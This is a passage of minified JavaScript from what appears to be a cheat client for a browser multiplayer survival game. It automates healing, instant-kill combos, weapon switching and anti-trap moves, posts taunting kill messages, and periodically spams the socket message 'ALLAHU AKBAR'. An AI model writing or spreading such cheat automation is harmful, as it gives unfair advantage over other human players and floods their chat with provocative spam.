1 == Math.floor(Math.random() * n) &&
"-" != o.charAt(r) &&
a < 2 &&
" " != o.charAt(r)
? ((i += "_"), a++)
: (i += o.charAt(r));
return i;
}
let forceZolder = !1,
gonnainzta = !1;
var pushTragectory = 0, antiPushobj = false;
function isCircleIntersectingLineSegment(t, n, i, o, a, r, s) {
let l = i - t,
c = o - n,
d = ((a - t) * l + (r - n) * c) / (l * l + c * c),
h,
u;
d < 0
? ((h = t), (u = n))
: d > 1
? ((h = i), (u = o))
: ((h = t + d * l), (u = n + d * c));
let p = a - h,
f = r - u,
$ = Math.sqrt(p * p + f * f);
return $ <= s;
}
class KTAa {
constructor() {
(this.projectiles = []),
(this.playerHit = []),
(this.players = []),
(this.player = []),
(this.weaponsToHit = []),
(this.buildings = []),
(this.preplaceBuildings = []),
(this.watersheepPreplaceBeLike = []);
}
objectDeathManager(t) {
ue.disableBySid(t),
Ho(t),
autoG.toggle &&
(E.zecondaryVariant < autoG.toVar && 10 == E.secondaryWeapon
? (place(5, 0 - Math.PI / 4), place(5, 0 + Math.PI / 4))
: E.primaryVariant < autoG.toVar
? (place(5, 0 - Math.PI / 4), place(5, 0 + Math.PI / 4))
: (addMenuChText("autogrinding completed", "pink", "", "red", !0),
ee.send("K", 1),
(autoG = {
toggle: !1,
toVar: 4,
weapon: null,
})));
}
updateHealth(t, n) {
(y = _i(t)) && ((y.lastHealth = y.health), (y.health = n));
var i = y.lastHealth - y.health;
if (
(y.health <= 0 &&
(addMenuChText(
y.name +
" has died [" +
Math.round(y.x) +
", " +
Math.round(y.y) +
"] [" +
i +
"]",
"#f24b4b",
"",
"#f24b4b"
),
E.canSee(y) && addDeadPlayer(y),
document.getElementById("killchat").checked &&
"Ultra Mod Kill Chat" ==
document.getElementById("killChatType").value &&
ee.send("6", y.name + " Get piked :>")),
y.lastHealth > y.health && y.visible
? -1 === i
? Hn.showText(y.x, y.y, 40, 0.18, 900, Math.round(i), "#ee5551")
: Hn.showText(
y.x,
y.y,
40,
0.18,
900,
Math.round(Math.abs(i)),
y.dmgColor
)
: y == E &&
Hn.showText(
y.x,
y.y,
40,
0.18,
900,
Math.round(Math.abs(i)),
"#8ecc51"
),
y.lastHealth > y.health)
) {
if (((y.hitTime = tick), y == E)) {
let o = 6 == E.skinIndex ? 18 : 25;
enemiez.find((t) => 300 > cdf(t, E)) &&
((i >= -17.7 && i <= -10) || i >= o)
? E.shameCount <= 4
? heal()
: ((emptAnti = !0),
setTickout(() => {
(emptAnti = !1), heal();
}, 2))
: setTickout(() => {
heal();
}, 2);
}
} else if (y.hitTime) {
let a = tick - y.hitTime;
(y.hitTime = 0),
a < 2
? y.shameCount++
: ((y.shameCount -= 2), y.shameCount <= 0 && (y.shameCount = 0)),
(y.inztaInfo.maxZhame = Math.max(y.inztaInfo.maxZhame, y.shameCount)),
(y.inztaInfo.minZhame = Math.min(0, y.shameCount));
}
}
addProjectile(t, n, i, o, a, r, s, l, c) {
let d = 0 == r ? 9 : 2 == r ? 12 : 3 == r ? 13 : 5 == r && 15;
for (let h = 0; h < J.length; h++) {
let u = J[h];
u.visible &&
(1 == r ? 53 == u.skinIndex : u.secondaryWeapon == d) &&
C.getAngleDist(
caf(
{
x: u.x2,
y: u.y2,
},
{
x: t,
y: n,
}
),
u.dir
) <=
Math.PI / 2.6 &&
70 >=
cdf(u, {
x: t - 35 * Math.cos(i),
y: n - 35 * Math.sin(i),
}) &&
(1 == r && (u.turretReload = 2500),
(u.reloads[d] = R.weapons[d].speed));
}
ds && (po.addProjectile(t, n, i, o, a, r, s, l, c).sid = l);
}
removeProjectile(t) {}
executeInztakill() {
!autohitting && ((inztakillData.aim = !0),
(inztakillData.toggle = !1),
Yt(E.secondaryWeapon, 1),
ee.send("K", 1),
Jn(53, 0),
setTickout(() => {
Yt(E.primaryWeapon, 1),
Jn(7, 0),
setTickout(() => {
ee.send("K", 1), (inztakillData.aim = !1);
}, 1);
}, 1));
}
addPlayer(t, n, i, o, a, r, s, l, c, d, h, u, p, f, $) {
let g = {};
(g.id = n),
(g.sid = i),
(g.tmpScore = 0),
(g.team = null),
(g.skinIndex = 0),
(g.tailIndex = 0),
(g.hitTime = 0),
(g.tails = {});
for (var m = 0; m < u.length; ++m)
u[m].price <= 0 && (g.tails[u[m].id] = 1);
g.skins = {};
for (var m = 0; m < h.length; ++m)
h[m].price <= 0 && (g.skins[h[m].id] = 1);
(g.points = 0),
(g.dt = 0),
(g.rt = 0),
(g.hidden = !1),
(g.itemCounts = {}),
(g.isPlayer = !0),
(g.pps = 0),
(g.moveDir = void 0),
(g.skinRot = 0),
(g.lastPing = 0),
(g.iconIndex = 0),
(g.skinColor = 0),
(g.spawn = function (n) {
(g.dmgColor = t
? "#fff"
: `#${Math.floor(16777215 * Math.random())
.toString(16)
.padStart(6, "0")}`),
(g.potentialdmg = 0),
(g.dmgPot = 0),
(g.doableDmg = 0),
(g.active = !0),
(g.alive = !0),
(g.lockMove = !1),
(g.lockDir = !1),
(g.minimapCounter = 0),
(g.chatCountdown = 0),
(g.privateChatCountdown = 0),
(g.shameCount = 0),
(g.shameTimer = 0),
(g.sentTo = {}),
(g.gathering = 0),
(g.autoGather = 0),
(g.animTime = 0),
(g.animSpeed = 0),
(g.mouseState = 0),
(g.buildIndex = -1),
(g.weaponIndex = 0),
(g.dmgOverTime = {}),
(g.noMovTimer = 0),
(g.maxXP = 300),
(g.XP = 0),
(g.age = 1),
(g.kills = 0),
(g.upgrAge = 2),
(g.upgradePoints = 0),
(g.x = 0),
(g.y = 0),
(g.x3 = 0),
(g.y3 = 0),
(g.laztX = 0),
(g.laztY = 0),
(g.laztx = 0),
(g.lazty = 0),
(g.nextX = 0),
(g.nextY = 0),
(g.zIndex = 0),
(g.xVel = 0),
(g.yVel = 0),
(g.slowMult = 1),
(g.dir = 0),
(g.dirPlus = 0),
(g.targetDir = 0),
(g.targetAngle = 0),
(g.maxHealth = 100),
(g.health = g.maxHealth),
(g.lastHealth = g.health),
(g.healthAnim = g.health),
(g.scale = o.playerScale),
(g.speed = o.playerSpeed),
g.resetMoveDir(),
g.resetResources(n),
(g.items = [0, 3, 6, 10]),
(g.weapons = [0]),
(g.shootCount = 0),
(g.weaponXP = []),
(g.reloads = {
0: 0,
1: 0,
2: 0,
3: 0,
4: 0,
5: 0,
6: 0,
7: 0,
8: 0,
9: 0,
10: 0,
11: 0,
12: 0,
13: 0,
14: 0,
15: 0,
}),
(this.oldReloads = {
0: 0,
1: 0,
2: 0,
3: 0,
4: 0,
5: 0,
6: 0,
7: 0,
8: 0,
9: 0,
10: 0,
11: 0,
12: 0,
13: 0,
14: 0,
15: 0,
53: 0,
}),
(g.turretReload = 0),
(g.primaryWeapon = 1),
(g.secondaryWeapon = 15),
(g.primaryVariant = 0),
(g.zecondaryVariant = 0),
(g.inTrap = !1),
(g.timeSpentNearVolcano = 0),
(g.KB = []),
(g.doit = false),
(g.preplaceAble = false),
(g.inztaInfo = {
maxZhame: 0,
minZhame: 0,
bulltickz: !1,
bullticking: !1,
});
}),
(g.resetMoveDir = function () {
g.moveDir = void 0;
}),
(g.resetResources = function (t) {
for (let n = 0; n < o.resourceTypes.length; ++n)
this[o.resourceTypes[n]] = t ? 100 : 0;
}),
(g.addItem = function (t) {
let n = d.list[t];
if (n) {
for (let i = 0; i < g.items.length; ++i)
if (d.list[g.items[i]].group == n.group)
return (
g.buildIndex == g.items[i] && (g.buildIndex = t),
(g.items[i] = t),
!0
);
return g.items.push(t), !0;
}
return !1;
}),
(g.setUserData = function (t) {
if (t) {
g.name = "unknown";
let n = t.name + "";
n = (n = (n = (n = n.slice(0, o.maxNameLength)).replace(
/[^\w:\(\)\/? -]+/gim,
" "
)).replace(/[^\x00-\x7F]/g, " ")).trim();
let i = !1,
a = n
.toLowerCase()
.replace(/\s/g, "")
.replace(/1/g, "i")
.replace(/0/g, "o")
.replace(/5/g, "s");
for (let r of Yr.list)
if (-1 != a.indexOf(r)) {
i = !0;
break;
}
n.length > 0 && !i && (g.name = n),
(g.skinColor = 0),
o.skinColors[t.skin] && (g.skinColor = t.skin);
}
}),
(g.getData = function () {
return [
g.id,
g.sid,
g.name,
a.fixTo(g.x, 2),
a.fixTo(g.y, 2),
a.fixTo(g.dir, 3),
g.health,
g.maxHealth,
g.scale,
g.skinColor,
];
}),
(g.setData = function (t) {
(g.id = t[0]),
(g.sid = t[1]),
(g.name = t[2]),
(g.x = t[3]),
(g.y = t[4]),
(g.dir = t[5]),
(g.health = t[6]),
(g.maxHealth = t[7]),
(g.scale = t[8]),
(g.skinColor = t[9]);
});
let _ = 0;
(g.update = function (t) {
if (!g.alive) return;
if (
((a.getDistance(g.x, g.y, o.volcanoLocationX, o.volcanoLocationY) ||
0) < o.volcanoAggressionRadius &&
((g.timeSpentNearVolcano += t),
g.timeSpentNearVolcano >= 1e3 &&
(g.changeHealth(o.volcanoDamagePerSecond, null),
p.send(
g.id,
"8",
Math.round(g.x),
Math.round(g.y),
o.volcanoDamagePerSecond,
-1
),
(g.timeSpentNearVolcano %= 1e3))),
g.shameTimer > 0 &&
((g.shameTimer -= t),
g.shameTimer <= 0 && ((g.shameTimer = 0), (g.shameCount = 0))),
(_ -= t) <= 0)
) {
let n =
(g.skin && g.skin.healthRegen ? g.skin.healthRegen : 0) +
(g.tail && g.tail.healthRegen ? g.tail.healthRegen : 0);
n && g.changeHealth(n, this),
g.dmgOverTime.dmg &&
(g.changeHealth(-g.dmgOverTime.dmg, g.dmgOverTime.doer),
(g.dmgOverTime.time -= 1),
g.dmgOverTime.time <= 0 && (g.dmgOverTime.dmg = 0)),
g.healCol && g.changeHealth(g.healCol, this),
(_ = 1e3);
}
if (!g.alive) return;
if (
(g.slowMult < 1 &&
((g.slowMult += 8e-4 * t), g.slowMult > 1 && (g.slowMult = 1)),
(g.noMovTimer += t),
(g.xVel || g.yVel) && (g.noMovTimer = 0),
g.lockMove)
)
(g.xVel = 0), (g.yVel = 0);
else {
let i =
(g.buildIndex >= 0 ? 0.5 : 1) *
(d.weapons[g.weaponIndex].spdMult || 1) *
((g.skin && g.skin.spdMult) || 1) *
((g.tail && g.tail.spdMult) || 1) *
(g.y <= o.snowBiomeTop
? g.skin && g.skin.coldM
? 1
: o.snowSpeed
: 1) *
g.slowMult;
!g.zIndex &&
g.y >= o.mapScale / 2 - o.riverWidth / 2 &&
g.y <= o.mapScale / 2 + o.riverWidth / 2 &&
(g.skin && g.skin.watrImm
? ((i *= 0.75), (g.xVel += 0.4 * o.waterCurrent * t))
: ((i *= 0.33), (g.xVel += o.waterCurrent * t)));
let c = null != g.moveDir ? at(g.moveDir) : 0,
h = null != g.moveDir ? lt(g.moveDir) : 0,
u = Rc(c * c + h * h);
0 != u && ((c /= u), (h /= u)),
c && (g.xVel += c * g.speed * i * t),
h && (g.yVel += h * g.speed * i * t);
}
(g.zIndex = 0), (g.lockMove = !1), (g.healCol = 0);
let f,
$ = a.getDistance(0, 0, g.xVel * t, g.yVel * t),
m = Math.min(4, Math.max(1, Math.round($ / 40))),
k = 1 / m,
v = {};
for (var b = 0; b < m; ++b) {
g.xVel && (g.x += g.xVel * t * k),
g.yVel && (g.y += g.yVel * t * k),
(f = s.getGridArrays(g.x, g.y, g.scale));
for (let w = 0; w < f.length; ++w) {
for (
let x = 0;
x < f[w].length &&
!(
f[w][x].active &&
!v[f[w][x].sid] &&
s.checkCollision(this, f[w][x], k) &&
((v[f[w][x].sid] = !0), !g.alive)
);
++x
);
if (!g.alive) break;
}
if (!g.alive) break;
}
for (var S = l.indexOf(this), b = S + 1; b < l.length; ++b)
l[b] != this && l[b].alive && s.checkCollision(this, l[b]);
if (
(g.xVel &&
((g.xVel *= Bs(o.playerDecel, t)),
g.xVel <= 0.01 && g.xVel >= -0.01 && (g.xVel = 0)),
g.yVel &&
((g.yVel *= Bs(o.playerDecel, t)),
g.yVel <= 0.01 && g.yVel >= -0.01 && (g.yVel = 0)),
g.x - g.scale < 0
? (g.x = g.scale)
: g.x + g.scale > o.mapScale && (g.x = o.mapScale - g.scale),
g.y - g.scale < 0
? (g.y = g.scale)
: g.y + g.scale > o.mapScale && (g.y = o.mapScale - g.scale),
g.buildIndex < 0)
) {
if (g.reloads[g.weaponIndex] > 0)
(g.reloads[g.weaponIndex] -= t), (g.gathering = g.mouseState);
else if (g.gathering || g.autoGather) {
let I = !0;
if (null != d.weapons[g.weaponIndex].gather) g.gather(l);
else if (
null != d.weapons[g.weaponIndex].projectile &&
g.hasRes(d.weapons[g.weaponIndex], g.skin ? g.skin.projCost : 0)
) {
g.useRes(d.weapons[g.weaponIndex], g.skin ? g.skin.projCost : 0),
(g.noMovTimer = 0);
var S = d.weapons[g.weaponIndex].projectile;
let P = 2 * g.scale,
O = g.skin && g.skin.aMlt ? g.skin.aMlt : 1;
d.weapons[g.weaponIndex].rec &&
((g.xVel -= d.weapons[g.weaponIndex].rec * at(g.dir)),
(g.yVel -= d.weapons[g.weaponIndex].rec * lt(g.dir))),
r.addProjectile(
g.x + P * at(g.dir),
g.y + P * lt(g.dir),
g.dir,
d.projectiles[S].range * O,
d.projectiles[S].speed * O,
S,
this,
null,
g.zIndex
);
} else I = !1;
(g.gathering = g.mouseState),
I &&
(g.reloads[g.weaponIndex] =
d.weapons[g.weaponIndex].speed *
((g.skin && g.skin.atkSpd) || 1));
}
}
}),
(g.addWeaponXP = function (t) {
g.weaponXP[g.weaponIndex] || (g.weaponXP[g.weaponIndex] = 0),
(g.weaponXP[g.weaponIndex] += t);
}),
(g.earnXP = function (t) {
g.age < o.maxAge &&
((g.XP += t),
g.XP >= g.maxXP
? (g.age < o.maxAge
? (g.age++, (g.XP = 0), (g.maxXP *= 1.2))
: (g.XP = g.maxXP),
g.upgradePoints++,
p.send(g.id, "U", g.upgradePoints, g.upgrAge),
p.send(g.id, "T", g.XP, a.fixTo(g.maxXP, 1), g.age))
: p.send(g.id, "T", g.XP));
}),
(g.changeHealth = function (t, n) {
if (t > 0 && g.health >= g.maxHealth) return !1;
t < 0 && g.skin && (t *= g.skin.dmgMult || 1),
t < 0 && g.tail && (t *= g.tail.dmgMult || 1),
t < 0 && (g.hitTime = Date.now()),
(g.health += t),
g.health > g.maxHealth &&
((t -= g.health - g.maxHealth), (g.health = g.maxHealth)),
g.health <= 0 && g.kill(n);
for (let i = 0; i < l.length; ++i)
g.sentTo[l[i].id] && p.send(l[i].id, "O", g.sid, g.health);
return (
n &&
n.canSee(this) &&
!(n == this && t < 0) &&
p.send(
n.id,
"8",
Math.round(g.x),
Math.round(g.y),
Math.round(-t),
1
),
!0
);
}),
(g.kill = function (t) {
t &&
t.alive &&
(t.kills++,
t.skin && t.skin.goldSteal
? f(t, Math.round(g.points / 2))
: f(
t,
Math.round(
100 * g.age * (t.skin && t.skin.kScrM ? t.skin.kScrM : 1)
)
),
p.send(t.id, "N", "kills", t.kills, 1)),
(g.alive = !1),
p.send(g.id, "P"),
$();
}),
(g.addResource = function (t, n, i) {
!i && n > 0 && g.addWeaponXP(n),
3 == t
? f(this, n, !0)
: ((this[o.resourceTypes[t]] += n),
p.send(
g.id,
"N",
o.resourceTypes[t],
this[o.resourceTypes[t]],
1
));
}),
(g.changeItemCount = function (t, n) {
(g.itemCounts[t] = g.itemCounts[t] || 0),
(g.itemCounts[t] += n),
p.send(g.id, "S", t, g.itemCounts[t]);
}),
(g.buildItem = function (t) {
let n = g.scale + t.scale + (t.placeOffset || 0),
i = g.x + n * at(g.dir),
o = g.y + n * lt(g.dir);
if (
g.canBuild(t) &&
!(t.consume && g.skin && g.skin.noEat) &&
(t.consume || s.checkItemLocation(i, o, t.scale, 0.6, t.id, !1, this))
) {
let a = !1;
if (t.consume) {
if (g.hitTime) {
let r = Date.now() - g.hitTime;
(g.hitTime = 0),
r <= 120
? (g.shameCount++,
g.shameCount >= 8 &&
((g.shameTimer = 3e4), (g.shameCount = 0)))
: ((g.shameCount -= 2),
g.shameCount <= 0 && (g.shameCount = 0));
}
g.shameTimer <= 0 && (a = t.consume(this));
} else
(a = !0),
t.group.limit && g.changeItemCount(t.group.id, 1),
t.pps && (g.pps += t.pps),
s.add(
s.objects.length,
i,
o,
g.dir,
t.scale,
t.type,
t,
!1,
this
);
a && (g.useRes(t), (g.buildIndex = -1));
}
}),
(g.hasRes = function (t, n) {
for (let i = 0; i < t.req.length; ) {
if (this[t.req[i]] < Math.round(t.req[i + 1] * (n || 1))) return !1;
i += 2;
}
return !0;
}),
(g.useRes = function (t, n) {
if (!o.inSandbox)
for (let i = 0; i < t.req.length; )
g.addResource(
o.resourceTypes.indexOf(t.req[i]),
-Math.round(t.req[i + 1] * (n || 1))
),
(i += 2);
}),
(g.canBuild = function (t) {
let n = o.inSandbox
? t.group.sandboxLimit || Math.max(3 * t.group.limit, 99)
: t.group.limit;
return (
(!n || !(g.itemCounts[t.group.id] >= n)) &&
(!!o.inSandbox || g.hasRes(t))
);
}),
(g.gather = function () {
(g.noMovTimer = 0),
(g.slowMult -= d.weapons[g.weaponIndex].hitSlow || 0.3),
g.slowMult < 0 && (g.slowMult = 0);
let t = o.fetchVariant(this),
n = t.poison,
i = t.val,
r = {},
h,
u,
p,
f,
$ = s.getGridArrays(g.x, g.y, d.weapons[g.weaponIndex].range);
for (let m = 0; m < $.length; ++m)
for (var _ = 0; _ < $[m].length; ++_)
if (
(p = $[m][_]).active &&
!p.dontGather &&
!r[p.sid] &&
p.visibleToPlayer(this) &&
(h = a.getDistance(g.x, g.y, p.x, p.y) - p.scale) <=
d.weapons[g.weaponIndex].range &&
((u = a.getDirection(p.x, p.y, g.x, g.y)),
a.getAngleDist(u, g.dir) <= o.gatherAngle)
) {
if (((r[p.sid] = 1), p.health)) {
if (
p.changeHealth(
-d.weapons[g.weaponIndex].dmg *
i *
(d.weapons[g.weaponIndex].sDmg || 1) *
(g.skin && g.skin.bDmg ? g.skin.bDmg : 1),
this
)
) {
for (let k = 0; k < p.req.length; )
g.addResource(
o.resourceTypes.indexOf(p.req[k]),
p.req[k + 1]
),
(k += 2);
s.disableObj(p);
}
} else {
if ("volcano" === p.name)
g.hitVolcano(d.weapons[g.weaponIndex].gather);
else {
g.earnXP(4 * d.weapons[g.weaponIndex].gather);
let v =
d.weapons[g.weaponIndex].gather + (3 == p.type ? 4 : 0);
g.addResource(p.type, v);
}
g.skin && g.skin.extraGold && g.addResource(3, 1);
}
(f = !0), s.hitObj(p, u);
}
for (var _ = 0; _ < l.length + c.length; ++_)
if (
(p = l[_] || c[_ - l.length]) != this &&
p.alive &&
!(p.team && p.team == g.team) &&
(h = a.getDistance(g.x, g.y, p.x, p.y) - 1.8 * p.scale) <=
d.weapons[g.weaponIndex].range &&
((u = a.getDirection(p.x, p.y, g.x, g.y)),
a.getAngleDist(u, g.dir) <= o.gatherAngle)
) {
let b = d.weapons[g.weaponIndex].steal;
b &&
p.addResource &&
((b = Math.min(p.points || 0, b)),
g.addResource(3, b),
p.addResource(3, -b));
let w = i;
null != p.weaponIndex &&
d.weapons[p.weaponIndex].shield &&
a.getAngleDist(u + Math.PI, p.dir) <= o.shieldAngle &&
(w = d.weapons[p.weaponIndex].shield);
let x = d.weapons[g.weaponIndex].dmg,
S =
x *
(g.skin && g.skin.dmgMultO ? g.skin.dmgMultO : 1) *
(g.tail && g.tail.dmgMultO ? g.tail.dmgMultO : 1),
I =
0.3 * (p.weightM || 1) + (d.weapons[g.weaponIndex].knock || 0);
(p.xVel += I * at(u)),
(p.yVel += I * lt(u)),
g.skin &&
g.skin.healD &&
g.changeHealth(S * w * g.skin.healD, this),
g.tail &&
g.tail.healD &&
g.changeHealth(S * w * g.tail.healD, this),
p.skin && p.skin.dmg && g.changeHealth(-x * p.skin.dmg, p),
p.tail && p.tail.dmg && g.changeHealth(-x * p.tail.dmg, p),
p.dmgOverTime &&
g.skin &&
g.skin.poisonDmg &&
!(p.skin && p.skin.poisonRes) &&
((p.dmgOverTime.dmg = g.skin.poisonDmg),
(p.dmgOverTime.time = g.skin.poisonTime || 1),
(p.dmgOverTime.doer = this)),
p.dmgOverTime &&
n &&
!(p.skin && p.skin.poisonRes) &&
((p.dmgOverTime.dmg = 5),
(p.dmgOverTime.time = 5),
(p.dmgOverTime.doer = this)),
p.skin &&
p.skin.dmgK &&
((g.xVel -= p.skin.dmgK * at(u)),
(g.yVel -= p.skin.dmgK * lt(u))),
p.changeHealth(-S * w, this, this);
}
g.sendAnimation(f ? 1 : 0);
}),
(g.hitVolcano = function (t) {
let n = 5 + Math.round(t / 3.5);
g.addResource(2, n), g.addResource(3, n);
}),
(g.sendAnimation = function (t) {
for (let n = 0; n < l.length; ++n)
g.sentTo[l[n].id] &&
g.canSee(l[n]) &&
p.send(l[n].id, "K", g.sid, t ? 1 : 0, g.weaponIndex);
});
let k = 0,
v = 0;
return (
(g.animate = function (t) {
g.animTime > 0 &&
((g.animTime -= t),
g.animTime <= 0
? ((g.animTime = 0), (g.dirPlus = 0), (k = 0), (v = 0))
: 0 == v
? ((k += t / (g.animSpeed * o.hitReturnRatio)),
(g.dirPlus = a.lerp(0, g.targetAngle, Math.min(1, k))),
k >= 1 && ((k = 1), (v = 1)))
: ((k -= t / (g.animSpeed * (1 - o.hitReturnRatio))),
(g.dirPlus = a.lerp(0, g.targetAngle, Math.max(0, k)))));
}),
(g.startAnim = function (t, n) {
(g.animTime = g.animSpeed = d.weapons[n].speed),
(g.targetAngle = t ? -o.hitAngle : -Math.PI),
(k = 0),
(v = 0);
}),
(g.canSee = function (t) {
if (
!t ||
(t.skin && t.skin.invisTimer && t.noMovTimer >= t.skin.invisTimer)
)
return !1;
let n = _s(t.x - g.x) - t.scale,
i = _s(t.y - g.y) - t.scale;
return (
n <= (o.maxScreenWidth / 2) * 1.3 &&
i <= (o.maxScreenHeight / 2) * 1.3
);
}),
(g.isTeam = function (t) {
return this == t || (this.team && this.team == t.team);
}),
(g.findAllianceBySid = function (t) {
return !!this.team && wt.find((n) => n === t);
}),
g
);
}
removePlayer(t) {
for (let n = 0; n < J.length; n++)
if (J[n].id == t) {
addMenuChText(J[n].name + " left the game", "#FF0000", "", "#FF0000"),
J.splice(n, 1);
break;
}
}
updatePlayers(t, n) {
tick++, ue.objects, (enemiez = []), (enemy = []), (placeArr = []);
for (var i = 0; i < J.length; ++i)
(J[i].forcePos = !J[i].visible), (J[i].visible = !1);
for (var i = 0; i < t.length; )
(n = _i(t[i])),
E.isTeam(n) || enemiez.push(n),
(n.t1 = void 0 === n.t2 ? Date.now() : n.t2),
(n.t2 = Date.now()),
(n.laztx = n.x),
(n.lazty = n.y),
(n.x = n.x),
(n.y = n.y),
(n.x1 = n.x),
(n.y1 = n.y),
(n.x2 = t[i + 1]),
(n.y2 = t[i + 2]),
(n.x3 = n.x2 + (n.x2 - n.laztX)),
(n.y3 = n.y2 + (n.y2 - n.laztY)),
(n.deathDir =
caf(
{
x: E.x3,
y: E.y3,
},
{
x: E.laztX,
y: E.laztY,
}
) - Math.PI),
(n.d1 = void 0 === n.d2 ? t[i + 3] : n.d2),
(n.d2 = t[i + 3]),
(n.dt = 0),
(n.buildIndex = t[i + 4]),
(n.weaponIndex = t[i + 5]),
(n.oldReloads[n.primaryWeapon] = n.reloads[n.primaryWeapon]),
(n.oldReloads[n.secondaryWeapon] = n.reloads[n.secondaryWeapon]),
-1 == n.buildIndex &&
(n.reloads[n.weaponIndex] = Math.max(
0,
n.reloads[n.weaponIndex] - 1e3 / 9
)),
(n.turretReload = Math.max(0, n.turretReload - 1e3 / 9)),
(n.weaponVariant = t[i + 6]),
(n.primaryWeapon = n.weaponIndex < 9 ? n.weaponIndex : n.primaryWeapon),
(n.primaryVariant =
n.weaponIndex < 9 ? n.weaponVariant : n.primaryVariant),
(n.secondaryWeapon =
n.weaponIndex >= 9 ? n.weaponIndex : n.secondaryWeapon),
(n.zecondaryVariant =
n.weaponIndex >= 9 ? n.weaponVariant : n.zecondaryVariant),
(n.team = t[i + 7]),
(n.isLeader = t[i + 8]),
(n.lastSkinIndex = n.skinIndex),
(n.skinIndex = t[i + 9]),
(n.tailIndex = t[i + 10]),
(n.iconIndex = t[i + 11]),
(n.zIndex = t[i + 12]),
(n.visible = !0),
(y == E ? (n.inTrap = et
.filter(
(t) => t.trap && t.active && !t.teamObj(E) && 100 >= cdf(t, n)
).sort(function (t, i) {
return cdf(t, n) - cdf(i, n);
})[0]) : (n.inTrap = et
.filter(
(t) => t.dmg && t.active && !t.teamObj(E) && E.scale * 1.5 + t.getScale() >= cdf(t, n)
)
.sort(function (t, i) {
return cdf(t, n) - cdf(i, n);
})[0]) || (n.inTrap = et
.filter(
(t) => t.trap && t.active && !t.teamObj(E) && 100 >= cdf(t, n)
)
.sort(function (t, i) {
return cdf(t, n) - cdf(i, n);
})[0])),
(i += 13),
(n = void 0);
if(E.inTrap && E.inTrap.dmg) {
antiPushobj = E.inTrap;
} else {
antiPushobj = false;
}
if (
((enemy =
enemiez.sort(function (t, n) {
return cdf(t, E) - cdf(n, E);
})[0] || []),
placer.toggle && place(placer.itemIndex, vs()),
tickLow[tick] && tickLow[tick].forEach((t) => t()),
tick % 90 == 0 && socket.send("ALLAHU AKBAR"),
popo && ee.send("6", animate(!0, 5)),
E.inTrap &&
!izHitting &&
0 ==
E.reloads[
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon
] &&
((izHitting = !0), ee.send("K", 1)),
izHitting &&
0 !=
E.reloads[
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon
] &&
((izHitting = !1), ee.send("K", 1)),
!E.inTrap)
) {
let o = Tn,
a = !1,
r = et.filter(
(t) =>
t.active &&
E.canSee(t) &&
(t.dmg || "teleporter" == t.name) &&
!t.teamObj(E)
);
newPos = {
x: E.x2 + (E.x2 - E.laztX) * 1.15 + 50 * Math.cos(o),
y: E.y2 + (E.y2 - E.laztY) * 1.15 + 50 * Math.sin(o),
};
let s = {
x: E.x2 + (E.x3 - E.laztX) + 50 * Math.cos(o),
y: E.y2 + (E.y3 - E.laztY) + 50 * Math.sin(o),
};
for (let l = 0; l < r.length; l++)
if (
(enemy != [] &&
fgdo(r[l], s) < (r[l].scale + E.scale) * 2 &&
fgdo(s, enemy, !0) < R.weapons[E.primaryWeapon].range &&
6 != E.skinIndex &&
((forceZolder = !0),
setTickout(() => {
forceZolder = !1;
}, 1),
addMenuChText("Anti Velocity Spiketick", "yellow", "", "yellow")),
fgdo(r[l], newPos) < r[l].scale + E.scale + 5)
) {
(a = Math.atan2(E.y2 - r[l].y, E.x2 - r[l].x)),
(E.obj = r[l]),
(breakMarker = [r[l].x, r[l].y, r[l].scale, r[l].owner.sid]);
break;
}
a || ((E.obj = !1), (breakMarker = [])),
E.alive && (!1 != a ? ee.send("e") : ee.send("a", o)),
E.obj &&
!izHitting &&
0 ==
E.reloads[
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon
] &&
(E.weaponIndex !=
(10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon) &&
Yt(
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon,
1
),
(izHitting = !0),
ee.send("K", 1)),
izHitting &&
0 !=
E.reloads[
10 == E.secondaryWeapon ? E.secondaryWeapon : E.primaryWeapon
] &&
((izHitting = !1), ee.send("K", 1));
}
if (
(inztakillData.toggle &&
enemy &&
!gonnainzta &&
6 != enemy.skinIndex &&
fgdo(E, enemy) <= R.weapons[E.primaryWeapon].range + 2 * E.scale &&
(Jn(0, 1),
(gonnainzta = !0),
setTickout(() => {
(inztakillData.inInzta = !0),
KTA.executeInztakill(),
setTickout(() => {
(inztakillData.inInzta = !1), (gonnainzta = !1);
}, 3);
}, 1)),
tankBreak ||
autohitting ||
gonnainzta ||
(autoG.toggle
? E.zecondaryVariant < autoG.toVar && 10 == E.secondaryWeapon
? E.weaponIndex != E.secondaryWeapon &&
(Yt(E.secondaryWeapon, 1), (autoG.weapon = E.secondaryWeapon))
: E.primaryVariant < autoG.toVar &&
E.weaponIndex != E.primaryWeapon &&
(Yt(E.primaryWeapon, 1), (autoG.weapon = E.primaryWeapon))
: E.inTrap || E.obj
? 10 == E.secondaryWeapon
? E.weaponIndex != E.secondaryWeapon && Yt(E.secondaryWeapon, 1)
: 0 != E.reloads[E.primaryWeapon] &&
E.weaponIndex != E.primaryWeapon &&
Yt(E.primaryWeapon, 1)
: 0 != E.reloads[E.primaryWeapon]
? E.weaponIndex != E.primaryWeapon && Yt(E.primaryWeapon, 1)
: 0 != E.reloads[E.secondaryWeapon]
? E.weaponIndex != E.secondaryWeapon && Yt(E.secondaryWeapon, 1)
: (8 == E.primaryWeapon || 7 == E.primaryWeapon) && (enemy.length && cdf(E, enemy) > 450)
? E.weaponIndex != E.primaryWeapon && Yt(E.primaryWeapon, 1)
: 10 == E.secondaryWeapon
? E.weaponIndex != E.secondaryWeapon && Yt(E.secondaryWeapon, 1)
: E.weaponIndex != E.primaryWeapon && Yt(E.primaryWeapon, 1)),
enemy)
) {
let c = et
.filter(
(t) =>
t.dmg &&
t.active &&
t.teamObj(E) &&
cdf(t, {
x: enemy.x2,
y: enemy.y2,
}) <=
2 * E.scale + t.scale
)
.sort(
(t, n) =>
Math.hypot(enemy.y2 - t.y, enemy.x2 - t.x) -
Math.hypot(enemy.y2 - n.y, enemy.x2 - n.x)
)[0];
0 == E.reloads[E.primaryWeapon] &&
c &&
cdf(c, {
x: enemy.x2,
y: enemy.y2,
}) <=
E.scale + c.scale &&
cdf(
{
x: E.x2,
y: E.y2,
},
enemy
) <=
R.weapons[E.primaryWeapon].range + 70
? (Yt(E.primaryWeapon, 1),
(autohitting = !0),
Jn(0, 1),
setTickout(() => {
Jn(7, 0),
